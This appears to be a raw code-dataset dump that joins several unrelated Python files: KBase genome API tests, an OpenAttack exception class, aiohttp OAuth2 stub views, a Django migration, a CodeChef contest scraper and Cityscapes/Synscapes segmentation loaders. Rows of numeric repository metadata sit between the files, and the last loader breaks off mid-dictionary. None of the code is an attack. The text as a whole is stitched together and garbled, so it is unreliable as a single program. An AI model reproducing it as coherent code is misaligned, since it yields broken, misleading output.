_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_mrna_invalid_old():
inputs = ["kb|g.166819.mRNA.99999999999", "kb|g.166819.CDS.1"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
genes_t_o = t_o.get_gene_by_mrna(inputs)
assert len(genes_t_o) == 0
_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_gene_valid_old():
inputs = ["kb|g.166819.locus.256", "kb|g.166819.locus.112"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
cds_t_o = t_o.get_cds_by_gene(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_gene_invalid_old():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.locus.999999"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
cds_t_o = t_o.get_cds_by_gene(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_gene_valid_old():
inputs = ["kb|g.166819.locus.256", "kb|g.166819.locus.112"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
mrna_t_o = t_o.get_mrna_by_gene(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_gene_invalid_old():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.locus.999999"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
mrna_t_o = t_o.get_mrna_by_gene(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_cds_valid_old():
inputs = ["kb|g.166819.CDS.0", "kb|g.166819.CDS.278"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
genes_t_o = t_o.get_gene_by_cds(inputs)
assert len(genes_t_o) == 0
_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_cds_invalid_old():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.CDS.999999"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
genes_t_o = t_o.get_gene_by_cds(inputs)
assert len(genes_t_o) == 0
_log.debug("Output {}".format(genes_t_o))
| 39.593573
| 120
| 0.707233
| 3,387
| 20,945
| 3.967228
| 0.028934
| 0.037211
| 0.054179
| 0.077398
| 0.957952
| 0.951031
| 0.942919
| 0.9325
| 0.9325
| 0.91129
| 0
| 0.027962
| 0.159943
| 20,945
| 528
| 121
| 39.668561
| 0.73572
| 0.004201
| 0
| 0.766423
| 0
| 0
| 0.163291
| 0.028991
| 0
| 0
| 0
| 0
| 0.131387
| 1
| 0.124088
| false
| 0
| 0.021898
| 0
| 0.145985
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
259b5cb666ef26caa9bb85d71cbadd9be9423373
| 105
|
py
|
Python
|
OpenAttack/exceptions/classifier.py
|
zangy17/OpenAttack
|
9114a8af12680f14684d2bf1bc6a5c5e34f8932c
|
[
"MIT"
] | 10
|
2021-12-01T15:35:05.000Z
|
2022-03-16T16:10:24.000Z
|
OpenAttack/exceptions/classifier.py
|
zangy17/OpenAttack
|
9114a8af12680f14684d2bf1bc6a5c5e34f8932c
|
[
"MIT"
] | null | null | null |
OpenAttack/exceptions/classifier.py
|
zangy17/OpenAttack
|
9114a8af12680f14684d2bf1bc6a5c5e34f8932c
|
[
"MIT"
] | 1
|
2020-09-01T11:14:42.000Z
|
2020-09-01T11:14:42.000Z
|
from ..exception import AttackException
class ClassifierNotSupportException(AttackException):
pass
| 17.5
| 53
| 0.828571
| 8
| 105
| 10.875
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12381
| 105
| 5
| 54
| 21
| 0.945652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
25a3040eff6e2fed548a0b31e4eb31ee4032301e
| 960
|
py
|
Python
|
sprezz/views/oauth2.py
|
oohlaf/sprezz
|
3f5c6e323c53994114e91d6d22d2fc9db3da653b
|
[
"Apache-2.0"
] | 1
|
2018-04-03T21:10:23.000Z
|
2018-04-03T21:10:23.000Z
|
sprezz/views/oauth2.py
|
oohlaf/sprezz
|
3f5c6e323c53994114e91d6d22d2fc9db3da653b
|
[
"Apache-2.0"
] | null | null | null |
sprezz/views/oauth2.py
|
oohlaf/sprezz
|
3f5c6e323c53994114e91d6d22d2fc9db3da653b
|
[
"Apache-2.0"
] | null | null | null |
import json
import logging
from aiohttp import web
log = logging.getLogger(__name__)
class AuthorizeView(web.View):
async def get(self):
log.info('Requested URL: %s', self.request.path_qs)
log.info('Requested Remote: %s', self.request.remote)
if self.request.can_read_body:
data = await self.request.json()
parsed = json.loads(data)
dump = json.dumps(parsed, indent=2)
log.info('JSON body: %s', dump)
return web.Response(text="Welcome")
class TokenView(web.View):
async def get(self):
log.info('Requested URL: %s', self.request.path_qs)
log.info('Requested Remote: %s', self.request.remote)
if self.request.can_read_body:
data = await self.request.json()
parsed = json.loads(data)
dump = json.dumps(parsed, indent=2)
log.info('JSON body: %s', dump)
return web.Response(text="Welcome")
| 30
| 61
| 0.6125
| 126
| 960
| 4.587302
| 0.325397
| 0.152249
| 0.110727
| 0.051903
| 0.83045
| 0.83045
| 0.83045
| 0.83045
| 0.83045
| 0.83045
| 0
| 0.002817
| 0.260417
| 960
| 31
| 62
| 30.967742
| 0.811268
| 0
| 0
| 0.75
| 0
| 0
| 0.11875
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.291667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
25f526f3b1795167c1a3b421e3d4965e3bd8b09d
| 8,836
|
py
|
Python
|
capstone/capdb/migrations/0114_auto_20210420_2105.py
|
rachelaus/capstone
|
2affa02706f9b1a99d032c66f258a7421c40a35e
|
[
"MIT"
] | 134
|
2017-07-12T17:03:06.000Z
|
2022-03-27T06:38:29.000Z
|
capstone/capdb/migrations/0114_auto_20210420_2105.py
|
rachelaus/capstone
|
2affa02706f9b1a99d032c66f258a7421c40a35e
|
[
"MIT"
] | 1,362
|
2017-06-22T17:42:49.000Z
|
2022-03-31T15:28:00.000Z
|
capstone/capdb/migrations/0114_auto_20210420_2105.py
|
rachelaus/capstone
|
2affa02706f9b1a99d032c66f258a7421c40a35e
|
[
"MIT"
] | 38
|
2017-06-22T14:46:23.000Z
|
2022-03-16T05:32:54.000Z
|
# Generated by Django 3.2 on 2021-04-20 21:05
import capdb.storages
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('capdb', '0113_auto_20210414_1532'),
]
operations = [
migrations.AlterField(
model_name='caseanalysis',
name='value',
field=models.JSONField(),
),
migrations.AlterField(
model_name='casebodycache',
name='json',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='caseinitialmetadata',
name='metadata',
field=models.JSONField(),
),
migrations.AlterField(
model_name='casemetadata',
name='attorneys',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='docket_numbers',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='judges',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='no_index_elided',
field=models.JSONField(blank=True, help_text='Elided text will be shown on click. Example: {"Text to elide (must be exact match)": "Extra text that\'s currently not used. Can be left as empty string."}', null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='no_index_redacted',
field=models.JSONField(blank=True, help_text='Redacted text will be hidden from view and replaced with key\'s value specified above. Example: {"Text to redact (must be exact match)": "Text to replace redacted text."}', null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='opinions',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='casemetadata',
name='parties',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='casestructure',
name='opinions',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='alto_xml_changed',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='alto_xml_rollback',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='case_xml_changed',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='case_xml_rollback',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='volume_xml_changed',
field=models.JSONField(),
),
migrations.AlterField(
model_name='datamigration',
name='volume_xml_rollback',
field=models.JSONField(),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='attorneys',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='docket_numbers',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='judges',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='no_index_elided',
field=models.JSONField(blank=True, help_text='Elided text will be shown on click. Example: {"Text to elide (must be exact match)": "Extra text that\'s currently not used. Can be left as empty string."}', null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='no_index_redacted',
field=models.JSONField(blank=True, help_text='Redacted text will be hidden from view and replaced with key\'s value specified above. Example: {"Text to redact (must be exact match)": "Text to replace redacted text."}', null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='opinions',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalcasemetadata',
name='parties',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalpagestructure',
name='blocks',
field=models.JSONField(),
),
migrations.AlterField(
model_name='historicalpagestructure',
name='duplicates',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalpagestructure',
name='extra_redacted_ids',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalpagestructure',
name='font_names',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalpagestructure',
name='spaces',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalvolumemetadata',
name='bibliographic_review',
field=models.CharField(blank=True, choices=[('No', 'No'), ('Complete', 'Complete'), ('Yes', 'Yes')], max_length=8, null=True),
),
migrations.AlterField(
model_name='historicalvolumemetadata',
name='ingest_errors',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='historicalvolumemetadata',
name='task_statuses',
field=models.JSONField(default=dict, help_text='Date and results of tasks run for this volume'),
),
migrations.AlterField(
model_name='historicalvolumemetadata',
name='xml_metadata',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='pagestructure',
name='blocks',
field=models.JSONField(),
),
migrations.AlterField(
model_name='pagestructure',
name='duplicates',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='pagestructure',
name='extra_redacted_ids',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='pagestructure',
name='font_names',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='pagestructure',
name='spaces',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='volumemetadata',
name='bibliographic_review',
field=models.CharField(blank=True, choices=[('No', 'No'), ('Complete', 'Complete'), ('Yes', 'Yes')], max_length=8, null=True),
),
migrations.AlterField(
model_name='volumemetadata',
name='ingest_errors',
field=models.JSONField(blank=True, null=True),
),
migrations.AlterField(
model_name='volumemetadata',
name='pdf_file',
field=models.FileField(blank=True, help_text='Exported volume PDF', max_length=1000, storage=capdb.storages.DownloadOverlayStorage(base_url='http://case.test:8000/download/', location='/Users/jcushman/Documents/capstone/capstone/test_data/downloads'), upload_to=''),
),
migrations.AlterField(
model_name='volumemetadata',
name='task_statuses',
field=models.JSONField(default=dict, help_text='Date and results of tasks run for this volume'),
),
migrations.AlterField(
model_name='volumemetadata',
name='xml_metadata',
field=models.JSONField(blank=True, null=True),
),
]
| 38.417391
| 278
| 0.580466
| 812
| 8,836
| 6.198276
| 0.179803
| 0.170872
| 0.21359
| 0.247765
| 0.900854
| 0.89847
| 0.868468
| 0.848997
| 0.834691
| 0.80151
| 0
| 0.006501
| 0.303644
| 8,836
| 229
| 279
| 38.585153
| 0.811474
| 0.004866
| 0
| 0.896861
| 1
| 0.013453
| 0.22341
| 0.051302
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.008969
| 0
| 0.022422
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
9f46b0fe4c03aa98d4ebe58cc0a3a41bbccb4c1c
| 4,617
|
py
|
Python
|
codechef.py
|
TheCez/cp-api
|
c75ea51c7358a7888c230dbfc01719fb424a9ebd
|
[
"MIT"
] | null | null | null |
codechef.py
|
TheCez/cp-api
|
c75ea51c7358a7888c230dbfc01719fb424a9ebd
|
[
"MIT"
] | null | null | null |
codechef.py
|
TheCez/cp-api
|
c75ea51c7358a7888c230dbfc01719fb424a9ebd
|
[
"MIT"
] | null | null | null |
import requests
from bs4 import BeautifulSoup
import re
'''def fate_proxy():
resp=requests.get('https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list')
#print(resp.text)
a=((resp.text).split('\n'))
#print(a)
p_list=[]
for i in a:
try:
p_list.append(json.loads(i))
except Exception as e:
continue
#print(p_list)
np_list=[]
for i in p_list:
if i['country']=='IN':
np_list.append(i)
proxy=[]
fast_proxy=sorted(np_list,key=lambda k: k['response_time'])
for p in fast_proxy:
proxy.append(str(p['host'])+':'+str(p['port']))
return proxy'''
def present():
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
url='https://www.codechef.com/contests'
res = requests.get(url, headers=headers)
soup = BeautifulSoup(res.text,"lxml")
contest = soup.find_all('table',{"class":"dataTable"})
contest = contest[0].find_all('tbody')
#contest = contest[0].find_all('tr')
name = []
link = []
code = []
sdate = []
edate = []
stime = []
etime = []
j = 0
for i in contest[0].findAll('a', attrs={'href': re.compile("^/")}):
link.append('https://www.codechef.com'+i.get('href'))
for i in contest[0].findAll('a'):
name.append(i.text)
for i in contest[0].findAll('td'):
if(j%4==2):
sdate.append(i.text[:-10])
stime.append(i.text[-8:])
if(j%4==0):
code.append(i.text)
if (j % 4 == 3):
edate.append(i.text[:-10])
etime.append(i.text[-8:])
j+=1
#print(stime)
out=[]
for i in range(len(name)):
d = {}
d.update({'code':code[i],'name':name[i],'link':link[i],'sdate':sdate[i],'edate':edate[i],'stime':stime[i],'etime':etime[i]})
out.append(d)
#print(out)
#print(d)
#pot()
return out
def future():
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
url='https://www.codechef.com/contests'
res = requests.get(url, headers=headers)
soup = BeautifulSoup(res.text,"lxml")
contest = soup.find_all('table',{"class":"dataTable"})
contest = contest[1].find_all('tbody')
#contest = contest[0].find_all('tr')
name = []
link = []
code = []
sdate = []
edate = []
stime = []
etime = []
j = 0
for i in contest[0].findAll('a', attrs={'href': re.compile("^/")}):
link.append('https://www.codechef.com'+i.get('href'))
for i in contest[0].findAll('a'):
name.append(i.text)
for i in contest[0].findAll('td'):
if(j%4==2):
sdate.append(i.text[:-10])
stime.append(i.text[-8:])
if(j%4==0):
code.append(i.text)
if (j % 4 == 3):
edate.append(i.text[:-10])
etime.append(i.text[-8:])
j+=1
#print(stime)
out=[]
for i in range(len(name)):
d = {}
d.update({'code':code[i],'name':name[i],'link':link[i],'sdate':sdate[i],'edate':edate[i],'stime':stime[i],'etime':etime[i]})
out.append(d)
#print(out)
#print(d)
#pot()
return out
def past():
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
url='https://www.codechef.com/contests'
res = requests.get(url, headers=headers)
soup = BeautifulSoup(res.text,"lxml")
contest = soup.find_all('table',{"class":"dataTable"})
contest = contest[2].find_all('tbody')
#contest = contest[0].find_all('tr')
name = []
link = []
code = []
sdate = []
edate = []
stime = []
etime = []
j = 0
for i in contest[0].findAll('a', attrs={'href': re.compile("^/")}):
link.append('https://www.codechef.com'+i.get('href'))
for i in contest[0].findAll('a'):
name.append(i.text)
for i in contest[0].findAll('td'):
if(j%4==2):
sdate.append(i.text[:-10])
stime.append(i.text[-8:])
if(j%4==0):
code.append(i.text)
if (j % 4 == 3):
edate.append(i.text[:-10])
etime.append(i.text[-8:])
j+=1
#print(stime)
out=[]
for i in range(len(name)):
d = {}
d.update({'code':code[i],'name':name[i],'link':link[i],'sdate':sdate[i],'edate':edate[i],'stime':stime[i],'etime':etime[i]})
out.append(d)
#print(out)
#print(d)
#pot()
return out
| 29.787097
| 132
| 0.527399
| 651
| 4,617
| 3.705069
| 0.168971
| 0.055141
| 0.08209
| 0.048507
| 0.832504
| 0.83209
| 0.83209
| 0.83209
| 0.83209
| 0.83209
| 0
| 0.036776
| 0.263808
| 4,617
| 155
| 133
| 29.787097
| 0.672845
| 0.045484
| 0
| 0.894737
| 0
| 0.026316
| 0.17204
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.026316
| false
| 0
| 0.026316
| 0
| 0.078947
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4cc63655d2229c6fb84187cceeef75215ba0086c
| 13,922
|
py
|
Python
|
segmentation/datasets.py
|
dataflowr/evaluating_bdl
|
b7d7e3f2b8095a0ec43118d2b69b4b49e0b910f2
|
[
"MIT"
] | 110
|
2019-06-04T13:30:23.000Z
|
2022-03-05T07:37:52.000Z
|
segmentation/datasets.py
|
dataflowr/evaluating_bdl
|
b7d7e3f2b8095a0ec43118d2b69b4b49e0b910f2
|
[
"MIT"
] | 3
|
2020-08-31T17:12:39.000Z
|
2021-09-12T01:21:24.000Z
|
segmentation/datasets.py
|
dataflowr/evaluating_bdl
|
b7d7e3f2b8095a0ec43118d2b69b4b49e0b910f2
|
[
"MIT"
] | 23
|
2019-06-05T08:53:28.000Z
|
2022-03-05T09:01:25.000Z
|
# code-checked
# server-checked
import cv2
import numpy as np
import os
import os.path as osp
import random
import torch
from torch.utils import data
import pickle
def generate_scale_label(image, label):
f_scale = 0.5 + random.randint(0, 16)/10.0
image = cv2.resize(image, None, fx=f_scale, fy=f_scale, interpolation=cv2.INTER_LINEAR)
label = cv2.resize(label, None, fx=f_scale, fy=f_scale, interpolation=cv2.INTER_NEAREST)
return image, label
def id2trainId(label, id_to_trainid):
label_copy = label.copy()
for k, v in id_to_trainid.items():
label_copy[label == k] = v
return label_copy
################################################################################
# Cityscapes
################################################################################
class DatasetCityscapesAugmentation(data.Dataset):
def __init__(self, root, list_path, max_iters=None, crop_size=(512, 512), ignore_label=255):
self.root = root
self.list_path = list_path
self.crop_h, self.crop_w = crop_size
self.ignore_label = ignore_label
self.img_ids = [i_id.strip().split() for i_id in open(list_path)]
print ("DatasetCityscapesAugmentation - num unique examples: %d" % len(self.img_ids))
if not max_iters==None:
self.img_ids = self.img_ids * int(np.ceil(float(max_iters) / len(self.img_ids)))
print ("DatasetCityscapesAugmentation - num examples: %d" % len(self.img_ids))
self.files = []
for item in self.img_ids:
image_path, label_path = item
name = osp.splitext(osp.basename(label_path))[0]
img_file = osp.join(self.root, image_path)
label_file = osp.join(self.root, label_path)
self.files.append({
"img": img_file,
"label": label_file,
"name": name,
"weight": 1
})
self.id_to_trainid = {-1: ignore_label, 0: ignore_label, 1: ignore_label, 2: ignore_label,
3: ignore_label, 4: ignore_label, 5: ignore_label, 6: ignore_label,
7: 0, 8: 1, 9: ignore_label, 10: ignore_label, 11: 2, 12: 3, 13: 4,
14: ignore_label, 15: ignore_label, 16: ignore_label, 17: 5,
18: ignore_label, 19: 6, 20: 7, 21: 8, 22: 9, 23: 10, 24: 11, 25: 12, 26: 13, 27: 14,
28: 15, 29: ignore_label, 30: ignore_label, 31: 16, 32: 17, 33: 18}
def __len__(self):
return len(self.files)
def __getitem__(self, index):
datafiles = self.files[index]
image = cv2.imread(datafiles["img"], cv2.IMREAD_COLOR)
label = cv2.imread(datafiles["label"], cv2.IMREAD_GRAYSCALE)
label = id2trainId(label, self.id_to_trainid)
size = image.shape
name = datafiles["name"]
image, label = generate_scale_label(image, label)
image = np.asarray(image, np.float32)
mean = (102.9801, 115.9465, 122.7717)
image = image[:,:,::-1]
image -= mean
img_h, img_w = label.shape
pad_h = max(self.crop_h - img_h, 0)
pad_w = max(self.crop_w - img_w, 0)
if pad_h > 0 or pad_w > 0:
img_pad = cv2.copyMakeBorder(image, 0, pad_h, 0,
pad_w, cv2.BORDER_CONSTANT,
value=(0.0, 0.0, 0.0))
label_pad = cv2.copyMakeBorder(label, 0, pad_h, 0,
pad_w, cv2.BORDER_CONSTANT,
value=(self.ignore_label,))
else:
img_pad, label_pad = image, label
img_h, img_w = label_pad.shape
h_off = random.randint(0, img_h - self.crop_h)
w_off = random.randint(0, img_w - self.crop_w)
image = np.asarray(img_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32)
label = np.asarray(label_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32)
image = image.transpose((2, 0, 1))
flip = np.random.choice(2)*2 - 1
image = image[:, :, ::flip]
label = label[:, ::flip]
return image.copy(), label.copy(), np.array(size), name
class DatasetCityscapesEval(data.Dataset):
def __init__(self, root, list_path, ignore_label=255):
self.root = root
self.list_path = list_path
self.ignore_label = ignore_label
self.img_ids = [i_id.strip().split() for i_id in open(list_path)]
print ("DatasetCityscapesEval - num examples: %d" % len(self.img_ids))
self.files = []
for item in self.img_ids:
image_path, label_path = item
name = osp.splitext(osp.basename(label_path))[0]
img_file = osp.join(self.root, image_path)
label_file = osp.join(self.root, label_path)
self.files.append({
"img": img_file,
"label": label_file,
"name": name,
"weight": 1
})
self.id_to_trainid = {-1: ignore_label, 0: ignore_label, 1: ignore_label, 2: ignore_label,
3: ignore_label, 4: ignore_label, 5: ignore_label, 6: ignore_label,
7: 0, 8: 1, 9: ignore_label, 10: ignore_label, 11: 2, 12: 3, 13: 4,
14: ignore_label, 15: ignore_label, 16: ignore_label, 17: 5,
18: ignore_label, 19: 6, 20: 7, 21: 8, 22: 9, 23: 10, 24: 11, 25: 12, 26: 13, 27: 14,
28: 15, 29: ignore_label, 30: ignore_label, 31: 16, 32: 17, 33: 18}
def __len__(self):
return len(self.files)
def __getitem__(self, index):
datafiles = self.files[index]
image = cv2.imread(datafiles["img"], cv2.IMREAD_COLOR)
label = cv2.imread(datafiles["label"], cv2.IMREAD_GRAYSCALE)
if not os.path.exists(datafiles["img"]): # (26 out of 25000 images are missing)
return self.__getitem__(0)
label = id2trainId(label, self.id_to_trainid)
size = image.shape
name = datafiles["name"]
image = np.asarray(image, np.float32)
mean = (102.9801, 115.9465, 122.7717)
image = image[:,:,::-1]
image -= mean
image = image.transpose((2, 0, 1))
return image.copy(), label.copy(), np.array(size), name
class DatasetCityscapesEvalSeq(data.Dataset):
def __init__(self, data_path, sequence="00"):
self.data_path = data_path
self.img_dir = self.data_path + "/leftImg8bit/demoVideo/stuttgart_" + sequence + "/"
self.examples = []
file_names = os.listdir(self.img_dir)
for file_name in file_names:
img_id = file_name.split("_leftImg8bit.png")[0]
img_path = self.img_dir + file_name
example = {}
example["img_path"] = img_path
example["img_id"] = img_id
self.examples.append(example)
self.num_examples = len(self.examples)
print ("DatasetCityscapesEvalSeq - num examples: %d" % self.num_examples)
def __len__(self):
return len(self.examples)
def __getitem__(self, index):
datafiles = self.examples[index]
image = cv2.imread(datafiles["img_path"], cv2.IMREAD_COLOR)
size = image.shape
name = datafiles["img_id"]
image = np.asarray(image, np.float32)
mean = (102.9801, 115.9465, 122.7717)
image = image[:,:,::-1]
image -= mean
image = image.transpose((2, 0, 1))
return image.copy(), np.array(size), name
################################################################################
# Synscapes
################################################################################
class DatasetSynscapesAugmentation(data.Dataset):
def __init__(self, root, root_meta, type="train", max_iters=None, crop_size=(512, 512), ignore_label=255):
self.root = root
self.root_meta = root_meta
self.crop_h, self.crop_w = crop_size
self.ignore_label = ignore_label
if type == "train":
with open(root_meta + "/train_img_ids.pkl", "rb") as file: # (needed for python3)
self.img_ids = pickle.load(file)
elif type == "val":
with open(root_meta + "/val_img_ids.pkl", "rb") as file: # (needed for python3)
self.img_ids = pickle.load(file)
else:
raise Exception("type must be either 'train' or 'val'!")
print ("DatasetSynscapesAugmentation - num unique examples: %d" % len(self.img_ids))
if not max_iters==None:
self.img_ids = self.img_ids * int(np.ceil(float(max_iters) / len(self.img_ids)))
print ("DatasetSynscapesAugmentation - num examples: %d" % len(self.img_ids))
self.files = []
for img_id in self.img_ids:
self.files.append({
"img": self.root + "/img/rgb-2k/" + img_id + ".png",
"label": self.root_meta + "/gtFine/" + img_id + ".png",
"name": img_id,
"weight": 1
})
self.id_to_trainid = {-1: ignore_label, 0: ignore_label, 1: ignore_label, 2: ignore_label,
3: ignore_label, 4: ignore_label, 5: ignore_label, 6: ignore_label,
7: 0, 8: 1, 9: ignore_label, 10: ignore_label, 11: 2, 12: 3, 13: 4,
14: ignore_label, 15: ignore_label, 16: ignore_label, 17: 5,
18: ignore_label, 19: 6, 20: 7, 21: 8, 22: 9, 23: 10, 24: 11, 25: 12, 26: 13, 27: 14,
28: 15, 29: ignore_label, 30: ignore_label, 31: 16, 32: 17, 33: 18}
def __len__(self):
return len(self.files)
def __getitem__(self, index):
datafiles = self.files[index]
image = cv2.imread(datafiles["img"], cv2.IMREAD_COLOR)
label = cv2.imread(datafiles["label"], cv2.IMREAD_GRAYSCALE)
if not os.path.exists(datafiles["img"]): # (26 out of 25000 images are missing)
return self.__getitem__(0)
label = id2trainId(label, self.id_to_trainid)
size = image.shape
name = datafiles["name"]
image, label = generate_scale_label(image, label)
image = np.asarray(image, np.float32)
mean = (102.9801, 115.9465, 122.7717)
image = image[:,:,::-1]
image -= mean
img_h, img_w = label.shape
pad_h = max(self.crop_h - img_h, 0)
pad_w = max(self.crop_w - img_w, 0)
if pad_h > 0 or pad_w > 0:
img_pad = cv2.copyMakeBorder(image, 0, pad_h, 0,
pad_w, cv2.BORDER_CONSTANT,
value=(0.0, 0.0, 0.0))
label_pad = cv2.copyMakeBorder(label, 0, pad_h, 0,
pad_w, cv2.BORDER_CONSTANT,
value=(self.ignore_label,))
else:
img_pad, label_pad = image, label
img_h, img_w = label_pad.shape
h_off = random.randint(0, img_h - self.crop_h)
w_off = random.randint(0, img_w - self.crop_w)
image = np.asarray(img_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32)
label = np.asarray(label_pad[h_off : h_off+self.crop_h, w_off : w_off+self.crop_w], np.float32)
image = image.transpose((2, 0, 1))
flip = np.random.choice(2)*2 - 1
image = image[:, :, ::flip]
label = label[:, ::flip]
return image.copy(), label.copy(), np.array(size), name
class DatasetSynscapesEval(data.Dataset):
def __init__(self, root, root_meta, type="val", ignore_label=255):
self.root = root
self.root_meta = root_meta
self.ignore_label = ignore_label
if type == "train":
with open(root_meta + "/train_img_ids.pkl", "rb") as file: # (needed for python3)
self.img_ids = pickle.load(file)
elif type == "val":
with open(root_meta + "/val_img_ids.pkl", "rb") as file: # (needed for python3)
self.img_ids = pickle.load(file)
else:
raise Exception("type must be either 'train' or 'val'!")
print ("DatasetSynscapesEval - num examples: %d" % len(self.img_ids))
self.files = []
for img_id in self.img_ids:
self.files.append({
"img": self.root + "/img/rgb-2k/" + img_id + ".png",
"label": self.root_meta + "/gtFine/" + img_id + ".png",
"name": img_id,
"weight": 1
})
self.id_to_trainid = {-1: ignore_label, 0: ignore_label, 1: ignore_label, 2: ignore_label,
